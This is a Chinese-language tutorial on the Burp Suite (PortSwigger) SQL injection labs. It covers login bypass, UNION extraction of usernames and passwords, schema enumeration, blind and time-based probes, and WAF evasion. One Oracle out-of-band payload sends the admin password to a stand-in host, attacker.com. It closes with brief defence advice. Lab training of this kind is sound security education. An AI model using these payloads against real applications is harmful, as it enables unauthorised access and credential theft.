burpsuite官方靶场之sql注入篇
字数 1338 2025-08-10 17:51:54
Burp Suite官方靶场之SQL注入篇 - 全面教学指南
0. 前言
本教学文档基于Burp Suite官方SQL注入靶场,详细讲解各类SQL注入技术原理、攻击步骤和防御方法。内容涵盖从基础到高级的注入技术,包括显注、盲注、带外通道注入等。
1. 获取隐藏数据
1.1 技术原理
- 通过修改应用程序的SQL查询条件,绕过原有过滤逻辑
- 利用布尔逻辑(OR/AND)控制查询结果
1.2 攻击步骤
- 识别存在注入的参数(如category)
- 构造payload:
' OR 1=1-- - 分析SQL语句执行逻辑:
SELECT * FROM products WHERE category='Gifts' OR 1=1--' AND released=1OR 1=1使条件恒为真--注释掉后续条件
1.3 关键点
- OR与AND的区别:OR返回并集,AND返回交集
- 注释符(--)的作用是终止后续查询条件
- SQL执行顺序:FROM → WHERE → SELECT
2. 万能密码攻击
2.1 技术原理
- 绕过登录验证的SQL查询
- 通过注释符绕过密码检查
2.2 攻击步骤
- 在登录表单用户名字段注入:
administrator'-- - 生成SQL:
SELECT * FROM users WHERE username='administrator'--' AND password=''- 注释掉密码验证部分
3. UNION注入攻击
3.1 确定列数
方法一:ORDER BY
- 逐步增加数字直到报错:
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3--
方法二:UNION SELECT NULL
- 逐步增加NULL数量:
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
3.2 确定列类型
- 用实际值替换NULL测试兼容性:
' UNION SELECT 'a',NULL-- ' UNION SELECT NULL,'a'--
3.3 获取数据
- 确定列数和类型后,直接查询目标数据:
' UNION SELECT username,password FROM users--
3.4 单列返回多值
-
使用连接符串联多列数据:
- Oracle/PostgreSQL:
|| - MySQL:
CONCAT()或空格连接 - SQL Server:
+
示例:
' UNION SELECT NULL,username||'~'||password FROM users-- - Oracle/PostgreSQL:
3.5 查询数据库信息
数据库版本
- Oracle:
' UNION SELECT NULL,banner FROM v$version-- - MySQL/MSSQL:
' UNION SELECT NULL,@@version--
数据库内容
-
非Oracle数据库:
- 查询information_schema获取表信息
' UNION SELECT table_name,NULL FROM information_schema.tables--- 查询列信息
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
Oracle数据库:
- 使用all_tables和all_tab_columns
' UNION SELECT table_name,NULL FROM all_tables-- ' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
4. 盲注技术
4.1 基于条件的盲注
4.1.1 布尔盲注
- 通过页面响应差异判断条件真假
- 示例:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
4.1.2 错误盲注
- 通过触发错误判断条件(Oracle示例):
' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
4.2 时间盲注
- 通过响应延迟判断条件:
- PostgreSQL:
' || (SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='admin') || ' - MySQL:
' AND IF(1=1,SLEEP(10),0)--
- PostgreSQL:
4.3 带外通道(OOB)注入
- 通过DNS或HTTP请求外传数据
- Oracle示例:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='admin')||'.attacker.com/"> %remote;]>'),'/l') FROM dual--
5. 高级绕过技术
5.1 冗余错误注入
- 利用类型转换错误泄露数据:
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS INT)--
5.2 XML编码绕过
- 对注入payload进行编码处理绕过WAF
- 使用工具如Hackvertor进行模糊处理
6. 防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 错误信息处理(不显示详细错误)
- 定期安全测试和代码审计
7. 总结
本教程详细介绍了从基础到高级的SQL注入技术,包括:
- 显注与盲注的区别和应用场景
- UNION攻击的完整流程(列数确定、类型判断、数据获取)
- 各类盲注技术(布尔、错误、时间、OOB)
- 高级绕过技术(WAF绕过、编码混淆)
掌握这些技术有助于安全测试人员全面评估Web应用的SQL注入风险,同时也帮助开发人员理解如何构建更安全的应用程序。